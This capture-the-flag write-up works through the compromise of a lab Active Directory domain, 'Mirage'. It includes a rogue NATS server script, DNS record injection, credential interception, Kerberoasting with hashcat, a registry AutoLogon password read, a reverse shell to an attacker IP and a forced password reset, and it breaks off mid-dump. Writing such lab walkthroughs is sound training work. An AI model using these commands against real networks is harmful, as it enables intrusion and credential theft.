RECON
Port Scan
$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-07-20 08:30:52Z)
111/tcp open rpcbind syn-ack 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA/domainComponent=mirage
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after: 2105-07-04T19:58:41
| MD5: da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
| SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
| -----BEGIN CERTIFICATE-----
| MIIF7DCCBNSg...
|_-----END CERTIFICATE-----
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA/domainComponent=mirage
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after: 2105-07-04T19:58:41
| MD5: da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
| SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
| -----BEGIN CERTIFICATE-----
| MIIF7DCCBNSgA...
|_-----END CERTIFICATE-----
2049/tcp open nlockmgr syn-ack 1-4 (RPC #100021)
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA/domainComponent=mirage
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after: 2105-07-04T19:58:41
| MD5: da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
| SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
| -----BEGIN CERTIFICATE-----
| MIIF7DCCBNSgAwIBAgI...
|_-----END CERTIFICATE-----
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA/domainComponent=mirage
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after: 2105-07-04T19:58:41
| MD5: da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
| SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
| -----BEGIN CERTIFICATE-----
| MIIF7DCCBN...
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
4222/tcp open vrml-multi-use? syn-ack
| fingerprint-strings:
| GenericLines:
| INFO {"server_id":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","server_name":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":240,"client_ip":"10.10.13.3","xkey":"XBIZNYERJO35OWGF5C7YNJKWRORPFZID4LYFTNJT6TJUATDJL2DSK327"}
| -ERR 'Authorization Violation'
| GetRequest:
| INFO {"server_id":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","server_name":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":241,"client_ip":"10.10.13.3","xkey":"XBIZNYERJO35OWGF5C7YNJKWRORPFZID4LYFTNJT6TJUATDJL2DSK327"}
| -ERR 'Authorization Violation'
| HTTPOptions:
| INFO {"server_id":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","server_name":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":242,"client_ip":"10.10.13.3","xkey":"XBIZNYERJO35OWGF5C7YNJKWRORPFZID4LYFTNJT6TJUATDJL2DSK327"}
| -ERR 'Authorization Violation'
| NULL:
| INFO {"server_id":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","server_name":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":239,"client_ip":"10.10.13.3","xkey":"XBIZNYERJO35OWGF5C7YNJKWRORPFZID4LYFTNJT6TJUATDJL2DSK327"}
|_ -ERR 'Authentication Timeout'
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack .NET Message Framing
47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49335/tcp open msrpc syn-ack Microsoft Windows RPC
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49665/tcp open msrpc syn-ack Microsoft Windows RPC
49666/tcp open msrpc syn-ack Microsoft Windows RPC
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49668/tcp open msrpc syn-ack Microsoft Windows RPC
52074/tcp open msrpc syn-ack Microsoft Windows RPC
60607/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
60608/tcp open msrpc syn-ack Microsoft Windows RPC
60624/tcp open msrpc syn-ack Microsoft Windows RPC
61458/tcp open msrpc syn-ack Microsoft Windows RPC
61476/tcp open msrpc syn-ack Microsoft Windows RPC
63737/tcp open msrpc syn-ack Microsoft Windows RPCActive Directory basic information:
- Domain:
mirage.htb - DC FQDN:
dc01.mirage.htb
Additional Exposures:
- NFS: 111, 2049 — rare for Windows, potential misconfiguration or Unix integration
- Port 4222:
NATS v2.11.3— message queue who has history of RCE/misconfig
NFS
Network File System (NFS) is a distributed file system protocol usually seen on Linux. commonly encountered in Unix-like environments. We previously dissected its architecture and access methodology in the Scepter writeup.
Knock on the service:
$ showmount -e mirage.htb
Export list for mirage.htb:
/MirageReports (everyone)A mount file system named MirageReports is available for everyone. Therefore, we can mount the remote share locally:
$ mkdir nfs
$ sudo mount -t nfs mirage.htb:/MirageReports ./nfs
$ sudo ls nfs -l
total 17488
-rwx------+ 1 nobody nobody 8530639 May 20 08:08 Incident_Report_Missing_DNS_Record_nats-svc.pdf
-rwx------+ 1 nobody nobody 9373389 May 26 14:37 Mirage_Authentication_Hardening_Report.pdf
$ sudo bash -c 'cp nfs/* .'
$ ll
total 18M
-rwx------ 1 root root 8.2M Jul 19 19:14 Incident_Report_Missing_DNS_Record_nats-svc.pdf
-rwx------ 1 root root 9.0M Jul 19 19:14 Mirage_Authentication_Hardening_Report.pdf
drwxrwxrwx+ 2 nobody nobody 64 May 26 14:41 nfs
$ sudo umount nfsWe have spotted two suspicious PDF files inside.
PDF Reports
The Mirage_Authentication_Hardening_Report.pdf reveals that NTLM has been deprecated within the Mirage Active Directory, supplanted by the more secure Kerberos authentication model—currently in transition:

This transitional state suggests residual reliance on NTLM-based authentication may persist—particularly within legacy systems or potentially a backup instance of the "mirage" host.
Opening the subsequent document, Incident_Report_Missing_DNS_Record_nats-svc.pdf, we find an incident logged under the topic Missing DNS Record for nats-svc—the development team (Dev_Account_A) encountered connection failures when attempting to reach the NATS server via the nats-svc hostname:

Investigation confirms the DNS zone on the Domain Controller lacks an entry for nats-svc, resulting in failed name resolution. The team suspects this record was dynamically registered and subsequently purged by DNS scavenging, a mechanism that cleanses stale dynamic records from the zone.
They proposed three mitigation strategies—each weighed against security implications:
- Convert
nats-svcto a Static Record
- Why: Static records are immune to scavenging.
- Risk: Requires manual tracking; not ideal if the system changes frequently.
- Extend DNS Scavenging Interval
- New Interval: 21–30 days
- Why: Allows services with infrequent uptime to persist in DNS longer.
- Risk: May lead to buildup of stale records.
- Disable Scavenging (Zone-wide)
- Why: Ensures no dynamic records are purged.
- Risk: Considered dangerous; could flood DNS with stale, outdated entries.
The key takeaway: even if the nats-svc DNS entry is absent from the Domain Controller, applications hardcoded with nats-svc.mirage.htb may still attempt resolution or connection, especially if cached locally or retained in resolver memory. This opens potential vectors for hostname-based manipulation or redirection, particularly in scenarios involving stale or orphaned DNS logic.
USER
NATS
Overview
NATS is a high-performance, open-source messaging system designed for cloud-native, distributed systems, and microservices. It enables applications and services to communicate asynchronously using publish-subscribe, request-reply, or queue-based messaging patterns.
Port 4222 on the target machine is the default TCP port used by a NATS server. We see our Nmap scan tried to authenticate against it with its payloads:
4222/tcp open vrml-multi-use? syn-ack
| fingerprint-strings:
| GenericLines:
| INFO {"server_id":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","server_name":"NDRCAOQQED4CXVMVJNFNRG7JHMSLCKBXOOW3EDJHYZYZGCCCA75JULPZ","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":240,"client_ip":"10.10.13.3","xkey":"XBIZNYERJO35OWGF5C7YNJKWRORPFZID4LYFTNJT6TJUATDJL2DSK327"}
| -ERR 'Authorization Violation'
...The fingerprints of the NATS messaging server is:
version: "2.11.3"
proto: 1
auth_required: true
jetstream: trueThis is an updated version which is not vulnerable to open CVEs.
DNS Spoof
From the internal report, it's evident that hardcoded service names like nats-svc.mirage.htb are embedded within applications. When the DNS record vanishes—thanks to scavenging or misconfiguration—the victim's client might still reach out. That's our window.
The application is calling out to a ghost—
nats-svc.mirage.htb—which no longer exists in DNS. So we become the ghost. Spin up a rogue server. Wait for the knock.
We hijack the void by binding a rogue NATS server to port 4222, emulating the service fingerprint previously captured via Nmap:
from pwn import *
import socket
context.log_level = 'info'
bind_ip = "0.0.0.0"
bind_port = 4222
log.info(f"Starting fake NATS server on {bind_ip}:{bind_port}")
# 0- Setup socket
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
s.bind((bind_ip, bind_port))
s.listen(5)
log.success(f"Listening on {bind_ip}:{bind_port}")
except Exception as e:
log.error(f"Failed to bind: {e}")
exit(1)
# 1- Wait for victim to connect
while True:
try:
client, addr = s.accept()
log.info(f"Connection from {addr[0]}:{addr[1]}")
"""Send fake INFO line required by NATS clients to initiate handshake"""
fake_info = b'INFO {"server_id":"Axura-nats","version":"2.11.99","auth_required":true}\r\n'
client.sendall(fake_info)
log.debug(f"Sent fake INFO to client")
"""Receive CONNECT line"""
data = client.recv(1024)
if data:
try:
decoded = data.decode(errors='replace').strip()
log.success("[>] Received data:")
print(decoded)
except Exception as e:
log.warning(f"Failed to decode data: {e}")
else:
log.warning("No data received.")
client.close()
except KeyboardInterrupt:
log.info("Shutting down server.")
break
except Exception as e:
log.warning(f"Error during client handling: {e}")Now here's the kicker—when the client attempts resolution, if DNS fails, fallback mechanisms like LLMNR, NetBIOS, or stale resolver cache may surface.
On the other hand, we force the issue upstream with a forged A-record injection using nsupdate:
nsupdate <<EOF
server $target_ip
zone mirage.htb.
update add nats-svc.mirage.htb 300 A $attacker_ip
send
EOFOnce propagated, internal services blindly connect to our rogue server—thinking it's legit. We intercept the handshake:

Payload extracted:
{
"verbose": false,
"pedantic": false,
"user": "Dev_Account_A",
"pass": "hx5h7F5554fP@1337!",
"tls_required": false,
...
}Plaintext creds. In the wild. Armed with these, we pivot—authenticate against the real NATS instance at mirage.htb:4222.
NATS Enum
With valid creds in hand (Dev_Account_A / hx5h7F5554fP@1337!), it's time to turn passive interception into active infiltration. The target: the live NATS server at mirage.htb:4222.
Installing
natsCLI:Bashgo install github.com/nats-io/natscli/nats@latest export PATH=$PATH:$(go env GOPATH)/bin
Authenticating to the NATS server and subscribing to the wildcard subject >:
nats sub \
--server 'nats://mirage.htb:4222' \
--user 'Dev_Account_A' \
--password 'hx5h7F5554fP@1337!' \
">"
We intercept a JetStream advisory, revealing metadata tied to the stream auth_logs—a stream that whispers authentication history and administrative actions. The advisory logs that a client (us) queried:
"subject": "$JS.API.STREAM.INFO.auth_logs"This confirms visibility over sensitive internal events—prime for lateral movement.
We escalate by adding a pull-based JetStream consumer named reader, anchored to auth_logs:
nats consumer add auth_logs reader \
--pull \
--ack=explicit \
--server 'nats://mirage.htb:4222' \
--user 'Dev_Account_A' \
--password 'hx5h7F5554fP@1337!'The --pull flag configured as a pull-based consumer (i.e., request messages manually):

With the consumer locked and loaded, we rip messages from the stream:
nats consumer next auth_logs reader \
--count=5 \
--server 'nats://mirage.htb:4222' \
--user 'Dev_Account_A' \
--password 'hx5h7F5554fP@1337!'Pulls the next 5 messages from the reader consumer on auth_logs:

We have captured a login record david.jjackson / pN8kQmn6b86!1234@ from an internal IP address 10.10.10.20.
Domain
Kerberos Config
Verify the found account:
$ nxc ldap dc01.mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@'
[*] Initializing LDAP protocol database
LDAP 10.129.37.13 389 DC01 [*] None (name:DC01) (domain:mirage.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP 10.129.37.13 389 DC01 [-] mirage.htb\david.jjackson:pN8kQmn6b86!1234@ STATUS_NOT_SUPPORTEDThis is the same case in the RustyKey writeup, also indicated from the previous PDF report, that NTLM is partially disabled.
Simply set it up for Kerberos:
# Generate krb5 file
./ft.sh mirage.htb \
nxc smb dc01.mirage.htb \
-u 'david.jjackson' -p 'pN8kQmn6b86!1234@' \
--generate-krb5-file /tmp/mirage.krb5
# Source the config file as env
export KRB5_CONFIG=/tmp/mirage.krb5With the stage prepared, we strike using Netexec in Kerberos mode (-k):
./ft.sh mirage.htb \
nxc smb dc01.mirage.htb \
-u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -kError Countermeasure:
KRB_AP_ERR_SKEWKerberos doesn't tolerate time drift. If authentication fails due to skew, realign time using
faketime— as demonstrated Certified writeup — or deploy a shell wrapper (ft.sh) mentioned in the Haze writeup, tailored for Arch Linux. That's my play here.

Enum
With the authentication primitive we can now perform some enumeration.
Enumerate existed users:
./ft.sh mirage.htb \
nxc smb dc01.mirage.htb \
-u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -k \
--usersSorted output:
| Username | Last Password Set | Description |
|---|---|---|
| Administrator | 2025-06-23 21:18:18 | Built-in domain admin |
| Guest | <never> | Built-in guest account |
| krbtgt | 2025-05-01 07:42:23 | Kerberos Ticket Granting Ticket account |
| Dev_Account_A | 2025-05-27 14:05:12 | Pwned |
| Dev_Account_B | 2025-05-02 08:28:11 | [ ! ] Possibly related to Dev_A |
| david.jjackson | 2025-05-02 08:29:50 | Pwned |
| javier.mmarshall | 2025-05-25 18:44:43 | Member of "Contoso Contractors" |
| mark.bbond | 2025-06-23 21:18:18 | No description |
| nathan.aadam | 2025-06-23 21:18:18 | No description |
| svc_mirage | 2025-05-22 20:37:45 | Old service account migrated by contractors |
Suspicious / Linked Accounts:
- Dev_Account_B
- Created within minutes of
david.jjackson
- Created within minutes of
- javier.mmarshall
- Explicitly described as “Contoso Contractors”
- svc_mirage
- Labeled as “old service account migrated by contractors” — like
javier.mmarshall - May have legacy permissions, potential for privilege escalation
- Labeled as “old service account migrated by contractors” — like
We can run BloodHound to dump and graph domain DACL relationship:
./ft.sh mirage.htb \
bloodhound-python -u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -k \
-dc 'dc01.mirage.htb' -d 'mirage.htb' \
-ns $target_ip --zip -c All Not much we can do to abuse DACLs from the current standpoint. But we would always like to set our foothold on a user from the Remote Management Users group, like nathan.aadam:

As usual, we'll bring more graph intel into play as the attack path unfolds.
Kerberoasting
No DACL abuse discovered from user David, thus we can try some roasting attack, for example the Kerberoasting.
Exploit it with Netexec:
./ft.sh mirage.htb \
nxc ldap dc01.mirage.htb \
-u 'david.jjackson' -p 'pN8kQmn6b86!1234@' -k \
--kerberoasting krbroasting.txtnathan.aadam lit up on the radar:
$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb\nathan.aadam*$dd9c93cdc259fa1e56dc30d505c78733$0d643a8838ac3200c5dd2b4e0869c05d377b617150d70d218a90b9fd48f858b67d57e83da6b3511b31c8304fdff759201a3db3d2085880542748152f48911395dbfa4e9361fdeb766b17ec5965e7fbd9bb2f0168857f8fde510558583b8e0ebfcec1f74c92d4b1c1afc385d24ebc0b36cd7b9da72109ae0ef2ce317e01a08065eaaca6bf9c1dcf1a7267c06e5092cd7042ac77d941cab48e2acb9efd7a802c06c6736f8e809f9a4f959408540060c74bbc961b2347e19bdfa148e9f418e80b2dd3fcc98442addd9f0b06a6879efb9d77c133b70d155a28f19858eedca9696f86c955390ba66c0bf57e42a508f3e68815a8fc864de331656430a92cdbd09eb742efbcfc0211c2a658ef41b732d57d7db00dd10bd87d7179b6bc66ab48bdf349ac3b998284bf71d6ca6e631554303874be48c59d6b31d66403a636a4b19dbee63ef1071015acaa66b2f26476578dd19c5c6397db6302f588a96893a77b9975a2f1e0fedfb7621206d0cbe7e6935d87b8fe2824b6867297980ec1f5fc30f84322d14a1364416af66ace19e78df2be365af8bbbb1ee4b4d54feafecb29cf3748114756119c88cda7f8b83c3b2a588fbbf88aa2b550d102e4c52553406a93b25faedc25529aeb62c63c74ad1bf7f080accf1a1acc9b95a6b2c9637255b558b6a099a98eb5cfa9e5d9b5d7c351b9bbf4a6c84cbc4b2a7f457cd3d4163a2706d14f27eb2f2fcff2dcffb4d9fa204d657531ee8ea1604fdd05ea73152e0c725174ac1a65c494dc731bbd0311cb93fbf598bd7333284ccfadbbb0cf2fe461357ab07f9255e6742c8c4e89f20ae91ae26381b07e814b9748d05058bea0146f789aabaa5b3e4e58cad890cb9def2cc91b2539a7ef326b9a94fb313cbe6f0faf337d32b46992c1f6eb86b52c3ed1ae161ba43bd96701563d388b8a8720a2b6fac7286b30066efd14821270b7fe327ab6b1ce7268bca3e58129b66a28f6c95a36acfedbcf3900d71345b1164430139600f65b22bbe378b37b7a400651d5a57a9d10d0ae42abff5d2f0ec5135092c6a7b9ff3da807954edf2c48ba1b25a2e20c2ab505f64e35d1d5a19b3030a8acda6a8462d4a98c6611bffce58446ba6df25a1685e44a5b9a8de1e0e1573728a68edb814e3d4cee736606d4f723fff93b90012e86e79052253a41b98de3e709befa1f73a53e39cb5c6678b649f785e4c76e2a2de972ed9e48c083705d81c6750e8c9cb2c3cd395382d8feb648dda0512679496f58255f0698764d9762e9bb4b91c74a82bd8b3bb31db82cb4d2eb7e78f7673bdbbf0ca1acab683b355afacde3b094a93ec4e12c755f06092b764a06a082cd57698abb3ce9146a173b8b81b7a2bccc301b0f1ca98bdadefad3a0256d2ea4ddad4e7fcfaa5a21d2c52a8406d6e6de87484e0ad9a584c6820df9e5cf9c8dd2d3b07f2591eae3d195223b71118240a8b9a9a7fc40379094fd1d77f308538327c323482dbaba36885e59d1377778c59b6ef9f031e065f4c4facb817d0ad5710973a685d3f961d08f1b701d1a18fff3ec87a91baa0e2b4a67567935778e2ef9538c15A roastable TGS-REP hash, indicating SPN exposure with RC4-HMAC (etype 23).
We toss it into hashcat with a classic rockyou.txt brute:
hashcat -m 13100 -a 0 hashes.txt /path/to/rockyou.txt --forceJackpot:
$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb\nathan.aadam*$dd9c93...:3edc#EDC3
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)Earlier BloodHound recon confirmed nathan.aadam sits inside the Remote Management Users group. With NTLM disabled, our vector is Kerberos.
We request a TGT using Impacket:
./ft.sh mirage.htb \
getTGT.py 'mirage.htb/nathan.aadam:3edc#EDC3'Then move in with pass-the-ticket using evil-winrm:
./ft.sh mirage.htb \
env KRB5CCNAME=nathan.aadam.ccache \
evil-winrm -i dc01.mirage.htb -r mirage.htbUser compromised:

User flag captured.
ROOT
The crown jewel in this op is svc_mirage, a legacy service account allegedly migrated and now managed by contractors—namely javier.mmarshall.
Autologon Credentials
To compromise Javier, we would take over another normal user mark.bbond first, revealed from the BloodHound graph:

We pivot first through mark.bbond, exposed via BloodHound as part of the IT Support group. Our compromised user, nathan.aadam, is nested within IT_Admins, giving us a perch to dig deeper.
No AV detected, we are free to run various enumeration tools internally to find out their connections. We deploy winPEAS and get lucky—AutoLogon credentials drop in plain sight:

A gift-wrapped credential pair: mark.bbone / 1day@atime.
AutoLogon credentials are username and password values stored in the Windows Registry that allow a user to automatically log in to a Windows system at boot—without entering credentials manually.
We can query the specific registy:
PS C:\Users\nathan.aadam> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" DefaultDomainName REG_SZ MIRAGE DefaultUserName REG_SZ mark.bbond LastUsedUsername REG_SZ mark.bbond DefaultPassword REG_SZ 1day@atime ...The credentials are stored in plaintext in the registry.
We verify the creds:
$ ./ft.sh mirage.htb \
nxc smb dc01.mirage.htb \
-u 'mark.bbond' -p '1day@atime' -k
[*] Querying offset from: mirage.htb
[*] faketime -f format: +25202.205827
25202.205827s
[*] Running: nxc smb dc01.mirage.htb -u mark.bbond -p 1day@atime -k
SMB dc01.mirage.htb 445 dc01 [*] x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB dc01.mirage.htb 445 dc01 [+] mirage.htb\mark.bbond:1day@atimeBingo.
Although WinRM access is denied, we bypass via RunasCs, executing a reverse shell under Mark's context:
.\RunasCs.exe mark.bbond 1day@atime powershell -r 10.10.13.3:4444Another user compromised:

ForceChangePassword
Reset Password
Back to the BloodHound graph—mark.bbond has ForceChangePassword rights over javier.mmarshall. We can either leverage bloodyAD (like in Haze) or finish the next exploit within the Mark shell (like in Axlle) to abuse ForceChangePassword privilege.

Let's use bloodyAD in this case for easy repeatedly usage in the future:
./ft.sh mirage.htb \
bloodyAD --host dc01.mirage.htb -d mirage.htb \
-u 'mark.bbond' -p '1day@atime' -k \
set password "javier.mmarshall" "Axura4sure~"Password reset succeeds—but the login attempt fails with KDC_ERR_CLIENT_REVOKED:

This Kerberos error is crystal clear — the Kerberos Key Distribution Center (KDC) has rejected the authentication request because the client account is disabled or revoked.
Restriction
We've hit the wall of KDC_ERR_CLIENT_REVOKED—but this wall has cracks. Javier's account is not dead. Just disabled by policy (GPOs), tucked inside the Disabled OU.
ACCOUNTDISABLE
This is expected, for we already noticed some custom policies to restrict certain accounts from BloodHound earlier:

Check in the Mark shell:
PS C:\Windows\system32> Get-ADUser -Identity javier.mmarshall -Properties Enabled, LockedOut, AccountExpirationDate
AccountExpirationDate :
DistinguishedName : CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
Enabled : False
GivenName : javier.mmarshall
LockedOut : False
Name : javier.mmarshall
ObjectClass : user
ObjectGUID : c52e731b-30c1-439c-a6b9-0c2f804e5f08
SamAccountName : javier.mmarshall
SID : S-1-5-21-2127163471-3824721834-2568365109-1108
Surname :
UserPrincipalName : [email protected]javier.mmarshall is in that Disabled OU, which aligns with the KDC_ERR_CLIENT_REVOKED error we encountered during Kerberos authentication.
This is similar to what we did in the Puppy writeup. To crack that, first we can lookup attributes of user javier.mmarshall:
./ft.sh mirage.htb \
bloodyAD --host dc01.mirage.htb -d mirage.htb \
-u 'mark.bbond' -p '1day@atime' -k \
get object javier.mmarshallOutput:
distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
accountExpires: 9999-12-31 23:59:59.999999+00:00
badPasswordTime: 1601-01-01 00:00:00+00:00
badPwdCount: 0
cn: javier.mmarshall
codePage: 0
countryCode: 0
dSCorePropagationData: 2025-05-22 21:49:20+00:00
description: Contoso Contractors
displayName: javier.mmarshall
givenName: javier.mmarshall
instanceType: 4
lastLogoff: 1601-01-01 00:00:00+00:00
lastLogon: 2025-05-25 18:43:57.120180+00:00
lastLogonTimestamp: 2025-05-22 21:45:29.508220+00:00
logonCount: 13
logonHours:
memberOf: CN=IT_Contractors,OU=Groups,OU=Contractors,OU=IT_Staff,DC=mirage,DC=htb
msDS-SupportedEncryptionTypes: 0
nTSecurityDescriptor: O:S-1-5-21-2127163471-3824721834-2568365109-512G:S-1-5-21-2127163471-3824721834-2568365109-512D:AI(OD;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;S-1-1-0)(OD;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;S-1-5-21-2127163471-3824721834-2568365109-2602)(OA;;CR;00299570-246d-11d0-a768-00aa006e0529;;S-1-5-21-2127163471-3824721834-2568365109-2602)(OA;;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-2127163471-3824721834-2568365109-553)(OA;;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;;S-1-5-21-2127163471-3824721834-2568365109-553)(OA;;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;;S-1-5-21-2127163471-3824721834-2568365109-553)(OA;;RP;037088f8-0ae1-11d2-b422-00a0c968f939;;S-1-5-21-2127163471-3824721834-2568365109-553)(OA;;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-2127163471-3824721834-2568365109-2602)(OA;;WP;bf9679ab-0de6-11d0-a285-00aa003049e2;;S-1-5-21-2127163471-3824721834-2568365109-2602)(OA;;0x30;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-2127163471-3824721834-2568365109-517)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;0x30;6db69a1c-9422-11d1-aebd-0000f80367c1;;S-1-5-32-561)(OA;;0x30;5805bc62-bdc9-4428-a5e2-856a0f4c185e;;S-1-5-32-561)(OA;;CR;ab721a54-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;CR;ab721a56-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;;S-1-5-11)(OA;;RP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-11)(OA;;RP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-11)(OA;;RP;e45795b3-9455-11d1-aebd-0000f80367c1;;S-1-5-11)(OA;;0x30;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-10)(OA;;0x30;e45795b2-9455-11d1-aebd-0000f80367c1;;S-1-5-10)(OA;;0x30;e45795b3-9455-11d1-aebd-0000f80367c1;;S-1-5-10)(A;;0x20014;;;S-1-5-21-2127163471-3824721834-2568365109-2602)(A;;0xf01ff;;;S-1-5-21-2127163471-3824721834-2568365109-512)(A;;0xf01ff;;;S-1-5-32-548)(A;;RC;;;S-1-5-11)(A;;0x20094;;;S-1-5-10)(A;;0xf01ff;;;S-1-5-18)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1